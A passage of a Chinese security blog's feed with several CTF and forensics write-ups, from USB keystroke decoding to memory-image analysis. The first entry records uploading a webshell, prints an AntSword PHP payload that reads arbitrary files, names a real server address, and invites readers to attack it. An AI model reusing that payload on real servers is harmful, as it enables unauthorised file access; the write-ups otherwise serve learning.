<content type="html"><![CDATA[<h1 id="这是👉服务器运维抓包练习👈的摘要"><a href="#这是👉服务器运维抓包练习👈的摘要" class="headerlink" title="这是👉服务器运维抓包练习👈的摘要"></a><a href="../../../../2020/05/19/cnblog_12919431/">这是👉服务器运维抓包练习👈的摘要</a></h1><a id="more"></a><h1 id="1-抓包学习-用tcpdump抓包-plain-tcpdump-port-80-w-1-pcap-用前几天给计网老师搭的上传环境hh"><a href="#1-抓包学习-用tcpdump抓包-plain-tcpdump-port-80-w-1-pcap-用前几天给计网老师搭的上传环境hh" class="headerlink" title="1.抓包学习 用tcpdump抓包 plain tcpdump port 80 -w 1.pcap 用前几天给计网老师搭的上传环境hh"></a>1.抓包学习 用tcpdump抓包 <code>plain tcpdump port 80 -w 1.pcap </code> 用前几天给计网老师搭的上传环境hh</h1><p>传了一个一句话木马上去 <code>plain </code> 包下来了,看一眼 直接追踪流,可以看到这个上传的文件 这个配置出了点小问题,影响不大。<br><img src="https://uploader.shimo.im/f/jxSAnDLI2eVEHlU6.png!thumbnail" alt="图片"><br>用蚁剑连一下子,再抓一下流量,可以看到这个流量<br><img src="https://uploader.shimo.im/f/uBOnf5waDD5EOh8j.png!thumbnail" alt="图片"> <code>plain /www/wwwroot/175.24.78.155/index.html& value=@ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out) {return $out;}; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "21d6e540e0b3"; echo @asenc($output); echo "cb3cabef";} ob_start(); try{ $F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["he75a2a982b4fc"]):$_POST["he75a2a982b4fc"]) ;$fp=@fopen($F,"r"); if(@fgetc($fp)){ @fclose($fp);@readfile($F); } else {echo ("ERROR:// Can Not Read");}; }catch(Exception $e) {echo "ERROR://".$e->getMessage();}; asoutput(); die(); </code><br>url解一下码,可以看到蚁剑是自动做了混淆的,这个还是很有用的。<br><a href="https://uploader.shimo.im/f/PD23wJmHCKwmj5UV.pacp">1.pacp</a><br>这个返回包的gzip,是编码过的,直接储存为zip文件再解密就能看到明文了。 把原始数据保存,转16进制<br><img src="https://uploader.shimo.im/f/FJpEyfAoGte4e2Xv.png!thumbnail" alt="图片"><br>接着把1f8b之前的删掉,再解压就可以了<br><img src="https://uploader.shimo.im/f/lIAQQlUbshMDALTi.png!thumbnail" alt="图片"> # 2.进一步利用的研究<br><a href="https://uploader.shimo.im/f/z9Ak9vNoRwQ6dEF7.pcap">3.pcap</a><br><img src="https://uploader.shimo.im/f/yzLy4pYzsKyWTUdd.png!thumbnail" alt="图片"><br>这里是抓取连接一句话木马利用的数据包 像这样的简单的,直接拿过来用就可以了,理解也很好理解 但是想蚁剑那种,做了混淆的应该怎么办呢,我直接把payload<br>copy下来 <img src="https://uploader.shimo.im/f/EdTh1Ig8nUwyx1Zd.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/QhFDic8z3mUX4DH2.png!thumbnail" alt="图片"> 可以看到,直接成功<br><img src="https://uploader.shimo.im/f/OaLz47JW1hbqSBdK.png!thumbnail" alt="图片"> 但是这个cat<br>flag的包,经过尝试,我并没有成功,是因为路径不一样,蚁剑用的绝对路径,在awd比赛的时候是不存在这种问题滴<br><img src="https://uploader.shimo.im/f/8sdRXgXnnOnoGGqC.png!thumbnail" alt="图片"> 不过包里是有flag的<br><img src="https://uploader.shimo.im/f/g70DaQSVlsRj8NE2.png!thumbnail" alt="图片"><br>这里面却没有。。。emmm应该问题不大<br><strong>各位大佬,我环境是给计网老师搭的,现在还没关,大佬们想日就日吧,求求别删东西,我数据库作业还在上面呢。又乖又怂.jpg</strong></p>]]></content>
<summary type="html"><h1 id="这是👉服务器运维抓包练习👈的摘要"><a href="#这是👉服务器运维抓包练习👈的摘要" class="headerlink" title="这是👉服务器运维抓包练习👈的摘要"></a><a href="../../../../2020/05/19/cnblog_12919431/">这是👉服务器运维抓包练习👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>2020网鼎杯青龙组 MISC 虚幻2</title>
<link href="http://sharun.xyz/2020/05/16/cnblog_12900273/"/>
<id>http://sharun.xyz/2020/05/16/cnblog_12900273/</id>
<published>2020-05-15T21:59:00.000Z</published>
<updated>2020-11-09T11:26:55.085Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉2020网鼎杯青龙组-MISC-虚幻2👈的摘要"><a href="#这是👉2020网鼎杯青龙组-MISC-虚幻2👈的摘要" class="headerlink" title="这是👉2020网鼎杯青龙组 MISC 虚幻2👈的摘要"></a><a href="../../../../2020/05/16/cnblog_12900273/">这是👉2020网鼎杯青龙组 MISC 虚幻2👈的摘要</a></h1><a id="more"></a><p>我也希望misc能输出啊 ,可是实力不允许啊 题目给了一个图片<br><img src="https://img2020.cnblogs.com/blog/1619455/202005/1619455-20200516120720521-645268486.png"><br>查看像素发现是36*12,汉信码应该是正方形,这个图片还是有点规律的,感觉应该是什么压缩之类的,但是没想到是看RGB,其实正常的话还是应该看一下rgb的。。。还是太菜了hhh<br>每个像素有三个rgb,分出来,是255的话就是1,是0的话就是0。 <code>from PIL import Image x = 36 #x坐标 y = 12 #y坐标 im=Image.open('file.png') file = open('11','w') #im.show() z='' for i in range(0, x): for j in range(0, y): rgb=im.getpixel((i, j)) print(rgb) if(rgb[0]==0): z+='1' elif(rgb[0]==255): z+='0' if(rgb[1]==0): z+='1' elif(rgb[1]==255): z+='0' if(rgb[2]==0): z+='1' elif(rgb[2]==255): z+='0' print(z) file.write(z)</code> 一个读出一个写入。。 <code>from PIL import Image x = 36 #x坐标 y = 36 #y坐标 im = Image.new("RGB", (x, y)) file = open('11','r') a=file.read() z=0 for i in range(0, x): for j in range(0, y): print(a[z]) if(a[z]=='1'): im.putpixel((i, j), (255, 255, 255)) elif(a[z]=='0'): im.putpixel((i, j), (0, 0, 0)) z=z+1 im.show() im.save('1.png')</code><br>再组成汉信码,在进行一下小修改,最后空白的一部分提示是爆破,可以直接画两下,分辨的时候会自动修复<br><img src="https://img2020.cnblogs.com/blog/1619455/202005/1619455-20200516135747247-950806998.png"><br>跟二维码一样也有差错校验。。。也是应该的吧</p>]]></content>
<summary type="html"><h1 id="这是👉2020网鼎杯青龙组-MISC-虚幻2👈的摘要"><a href="#这是👉2020网鼎杯青龙组-MISC-虚幻2👈的摘要" class="headerlink" title="这是👉2020网鼎杯青龙组 MISC 虚幻2👈的摘要"></a><a href="../../../../2020/05/16/cnblog_12900273/">这是👉2020网鼎杯青龙组 MISC 虚幻2👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>2020网鼎杯白虎组 MISC 密码柜(未解出)</title>
<link href="http://sharun.xyz/2020/05/16/cnblog_12898784/"/>
<id>http://sharun.xyz/2020/05/16/cnblog_12898784/</id>
<published>2020-05-15T17:23:00.000Z</published>
<updated>2020-11-09T11:26:55.097Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉2020网鼎杯白虎组-MISC-密码柜(未解出)👈的摘要"><a href="#这是👉2020网鼎杯白虎组-MISC-密码柜(未解出)👈的摘要" class="headerlink" title="这是👉2020网鼎杯白虎组 MISC 密码柜(未解出)👈的摘要"></a><a href="../../../../2020/05/16/cnblog_12898784/">这是👉2020网鼎杯白虎组 MISC 密码柜(未解出)👈的摘要</a></h1><a id="more"></a><h1 id="2020网鼎杯白虎组-MISC-密码柜-青龙组自闭misc手,过来看看白虎的题目。。-给了两个文件,一个镜像一个Database-kdbx"><a href="#2020网鼎杯白虎组-MISC-密码柜-青龙组自闭misc手,过来看看白虎的题目。。-给了两个文件,一个镜像一个Database-kdbx" class="headerlink" title="2020网鼎杯白虎组 MISC 密码柜 青龙组自闭misc手,过来看看白虎的题目。。 给了两个文件,一个镜像一个Database.kdbx"></a>2020网鼎杯白虎组 MISC 密码柜 青龙组自闭misc手,过来看看白虎的题目。。 给了两个文件,一个镜像一个Database.kdbx</h1><p>首先,这是一个win10的内存镜像,小菜鸡也是第一次见,因为win10特有的内存压缩机制,所以我的vol没法进行内存取证。。去搜了一下,知道了一个项目。是用来进行win10取证的,vol3应该也是支持的。</p><blockquote><p><a href="https://github.com/fireeye/win10_volatility">https://github.com/fireeye/win10_volatility</a><br>通过VOL查看进程和搜索,可以发现kdbx是keepass的数据库文件。keepass主要是用来储存密码的,数据库用一个密码来加密,从而达到安全的储存密码的目的,同时题目也提示密码柜,看来是这个东西了。<br>那么去找一下文件<br><img src="https://img2020.cnblogs.com/blog/1619455/202005/1619455-20200516092134023-777087109.png"><br>可以找到一个密码柜备份.txt >密码柜的密码可不能忘了,毕竟那里面存着我最重要的东西 >而且我走哪都要带着它 >6s4mxkhvge<br><img src="https://img2020.cnblogs.com/blog/1619455/202005/1619455-20200516092148897-30140278.png"><br>有用的是这个第三个密码,是kgb压缩包的压缩密码,去搜索这个<strong>something.kge</strong>文件,将文件dump下来,用密码解开应该就可以了。这个版本vol我这里dump不下来,所以目前还没做出来,比赛的时候也是做到这里卡住了。具体也还没搞清楚。。<br>-—— 更新一下 <strong>有好多人问我txt是怎么dump下来的,我是通过取证大师的数据恢复功能恢复出文件看的(我承认我菜)</strong><br>用其他数据恢复软件或者直接去看文件应该也是可以的。 谢谢L1n3师傅的指点,师傅也已经解完这道题了。 ```<br><a href="https://writeup.ctfhub.com/Challenge/2020/%E7%BD%91%E9%BC%8E%E6%9D%AF/%E7%99%BD%E8%99%8E%E7%BB%84/828f7ab8.html">https://writeup.ctfhub.com/Challenge/2020/%E7%BD%91%E9%BC%8E%E6%9D%AF/%E7%99%BD%E8%99%8E%E7%BB%84/828f7ab8.html</a></p></blockquote><pre><code class="这个something,kge文件是通过kee导出的,右键选择import就可以了,我这里kgb怎么装都装不好,就不继续往下面做了">![](https://img2020.cnblogs.com/blog/1619455/202005/1619455-20200518223133752-34064948.png)估计也有不少人会有同款报错吧,,,</code></pre>]]></content>
<summary type="html"><h1 id="这是👉2020网鼎杯白虎组-MISC-密码柜(未解出)👈的摘要"><a href="#这是👉2020网鼎杯白虎组-MISC-密码柜(未解出)👈的摘要" class="headerlink" title="这是👉2020网鼎杯白虎组 MISC 密码柜(未解出)👈的摘要"></a><a href="../../../../2020/05/16/cnblog_12898784/">这是👉2020网鼎杯白虎组 MISC 密码柜(未解出)👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>安恒四月春季赛 MISC keyboard</title>
<link href="http://sharun.xyz/2020/04/26/cnblog_12781871/"/>
<id>http://sharun.xyz/2020/04/26/cnblog_12781871/</id>
<published>2020-04-26T03:55:00.000Z</published>
<updated>2020-11-09T11:26:55.101Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉安恒四月春季赛-MISC-keyboard👈的摘要"><a href="#这是👉安恒四月春季赛-MISC-keyboard👈的摘要" class="headerlink" title="这是👉安恒四月春季赛 MISC keyboard👈的摘要"></a><a href="../../../../2020/04/26/cnblog_12781871/">这是👉安恒四月春季赛 MISC keyboard👈的摘要</a></h1><a id="more"></a><p>打开发现是raw+secret的配置///我猜又是个加密盘</p><p><img src="https://img2020.cnblogs.com/blog/1619455/202004/1619455-20200426194658663-1881987846.png"></p><p>用volatility打开,看下进程。。。就是他了,veracrypt加密。</p><p>还有这个keyboard-log的进程再根据题目提示,找下文件</p><p><img src="https://img2020.cnblogs.com/blog/1619455/202004/1619455-20200426194908519-1404056544.png"></p><p> dump下来看一眼</p><p><img src="https://img2020.cnblogs.com/blog/1619455/202004/1619455-20200426194949703-301053867.png"></p><p> 哥哥你这属实有些脑洞啊</p><p>看这个ABC,我猜古典密码。。。。</p><p>我按照ctfwiki一个个试还不行吗</p><p>最后试出来试qwe密码</p><p>解密之后直接搜索就能搜到flag了</p><p> 也不能算难题[狗头]</p>]]></content>
<summary type="html"><h1 id="这是👉安恒四月春季赛-MISC-keyboard👈的摘要"><a href="#这是👉安恒四月春季赛-MISC-keyboard👈的摘要" class="headerlink" title="这是👉安恒四月春季赛 MISC keyboard👈的摘要"></a><a href="../../../../2020/04/26/cnblog_12781871/">这是👉安恒四月春季赛 MISC keyboard👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>虎符ctf-MISC-奇怪的组织(看完官方题解,找到了)</title>
<link href="http://sharun.xyz/2020/04/19/cnblog_12733364/"/>
<id>http://sharun.xyz/2020/04/19/cnblog_12733364/</id>
<published>2020-04-19T04:39:00.000Z</published>
<updated>2020-11-09T11:26:55.104Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉虎符ctf-MISC-奇怪的组织-看完官方题解,找到了-👈的摘要"><a href="#这是👉虎符ctf-MISC-奇怪的组织-看完官方题解,找到了-👈的摘要" class="headerlink" title="这是👉虎符ctf-MISC-奇怪的组织(看完官方题解,找到了)👈的摘要"></a><a href="../../../../2020/04/19/cnblog_12733364/">这是👉虎符ctf-MISC-奇怪的组织(看完官方题解,找到了)👈的摘要</a></h1><a id="more"></a><p>一道取证题,一整场比赛,基本就死磕了这一题</p><p>写的很乱,因为当时的思维就是那么乱,完全没有注意到出题人的提示,</p><p>还没做出来,没有找到关键key 那个人的real name</p><p>文档:虎符.note<br>链接:<a href="http://note.youdao.com/noteshare?id=3b839a3228f73f74199ff52bf1df8806">http://note.youdao.com/noteshare?id=3b839a3228f73f74199ff52bf1df8806</a></p><p>拿着这么好用的工具做不出来题。。。没有取证大师我可能连邮件文件的储存位置都找不到</p><p>#希望会了的大佬教教我,也欢迎大家一起来找key</p><p>-——————————–</p><p>看完官方题解了。。。就差了一个key</p><p>文件藏在了</p><p>Thunder\Users\bob\Pictures\Camera<br>Roll\sdcard\Android\data\com.android.backup\files\pending_blobs</p><p>可以看到,这是sd卡的数据里,在图片文件夹里也有道理</p><p>做题的时候确实翻到了picture这个文件夹,但是确实没注意到sd卡这个东西,确实有些脑洞</p><p>做题的时候在想怎么找,主要是想系统用户。。。确实没翻到</p><p>虽然说正常思路也想不到这里把。。。</p><p> 怎么才能发现这玩意呢。。。</p>]]></content>
<summary type="html"><h1 id="这是👉虎符ctf-MISC-奇怪的组织-看完官方题解,找到了-👈的摘要"><a href="#这是👉虎符ctf-MISC-奇怪的组织-看完官方题解,找到了-👈的摘要" class="headerlink" title="这是👉虎符ctf-MISC-奇怪的组织(看完官方题解,找到了)👈的摘要"></a><a href="../../../../2020/04/19/cnblog_12733364/">这是👉虎符ctf-MISC-奇怪的组织(看完官方题解,找到了)👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>jarvisoj MISC 取证2</title>
<link href="http://sharun.xyz/2020/03/11/cnblog_12465071/"/>
<id>http://sharun.xyz/2020/03/11/cnblog_12465071/</id>
<published>2020-03-11T04:15:00.000Z</published>
<updated>2020-11-09T11:26:55.113Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉jarvisoj-MISC-取证2👈的摘要"><a href="#这是👉jarvisoj-MISC-取证2👈的摘要" class="headerlink" title="这是👉jarvisoj MISC 取证2👈的摘要"></a><a href="../../../../2020/03/11/cnblog_12465071/">这是👉jarvisoj MISC 取证2👈的摘要</a></h1><a id="more"></a><p>打开之后一个文件和一个镜像</p><p><img src="https://img2020.cnblogs.com/i-beta/1619455/202003/1619455-20200311181944055-680420648.png"></p><p> TrueCrypt。。。。记住他了,再看一眼那个文件,好的,TrueCrypt加密。。找密码</p><p><img src="https://img2020.cnblogs.com/i-beta/1619455/202003/1619455-20200312102533606-1478262349.png"></p><p>把Truecrypt.exe直接dump下来,用efdd解密就行了</p>]]></content>
<summary type="html"><h1 id="这是👉jarvisoj-MISC-取证2👈的摘要"><a href="#这是👉jarvisoj-MISC-取证2👈的摘要" class="headerlink" title="这是👉jarvisoj MISC 取证2👈的摘要"></a><a href="../../../../2020/03/11/cnblog_12465071/">这是👉jarvisoj MISC 取证2👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>usb</title>
<link href="http://sharun.xyz/2020/03/10/cnblog_12455527/"/>
<id>http://sharun.xyz/2020/03/10/cnblog_12455527/</id>
<published>2020-03-09T22:33:00.000Z</published>
<updated>2020-11-09T11:26:55.123Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉usb👈的摘要"><a href="#这是👉usb👈的摘要" class="headerlink" title="这是👉usb👈的摘要"></a><a href="../../../../2020/03/10/cnblog_12455527/">这是👉usb👈的摘要</a></h1><a id="more"></a><p>打开之后是一个流量包</p><p><img src="https://img2020.cnblogs.com/i-beta/1619455/202003/1619455-20200310142459674-223493812.png"></p><p>用wireshark导出HTTP文件,有个upload,用一下binwalk,出来了一个镜像文件</p><p><img src="https://img2020.cnblogs.com/i-beta/1619455/202003/1619455-20200310142603761-942514529.png"></p><p> 用volatility搜一下,命令里有一个密码,看见了但是后来给忘了。。。</p><p>文件里有一个flag.img,导出</p><p>里面有一个压缩包,导出</p><p>或者用取证大师直接打开data.vmem就能看到压缩包</p><p>用cmd里的密码解压压缩包</p><p>一串字符,可以看出是usb键盘与电脑通信的流量</p><p>用一下网上搜到的脚本</p><pre><code>import sysimport osusb_codes = { 0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF", 0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL", 0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR", 0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX", 0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$", 0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)", 0x2C:" ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}", 0x32:"#~", 0x33:";:", 0x34:"'\"", 0x36:",<", 0x37:".>", 0x4f:">", 0x50:"<" }def code2chr(filepath): lines = [] pos = 0 for x in open(filepath,"r").readlines(): code = int(x[6:8],16) # 即第三个字节 if code == 0: continue # newline or down arrow - move down if code == 0x51 or code == 0x28: pos += 1 continue # up arrow - move up if code == 0x52: pos -= 1 continue # select the character based on the Shift key while len(lines) <= pos: lines.append("") if code in range(4,81): if int(x[0:2],16) == 2: lines[pos] += usb_codes[code][1] else: lines[pos] += usb_codes[code][0] for x in lines: print(x)if __name__ == "__main__": # check argv filepath = 'usbdata.txt' code2chr(filepath) ''' if len(sys.argv) != 2: print("Usage:\n\tpython keyboardScanCode.py datafile.txt\nhow to get datafile:\t tshark -r file.usb.pcapng -T fields -e usb.capdata > datafile.txt") exit(1) else: filepath = sys.argv[1] code2chr(filepath) '''</code></pre>]]></content>
<summary type="html"><h1 id="这是👉usb👈的摘要"><a href="#这是👉usb👈的摘要" class="headerlink" title="这是👉usb👈的摘要"></a><a href="../../../../2020/03/10/cnblog_12455527/">这是👉usb👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
</feed>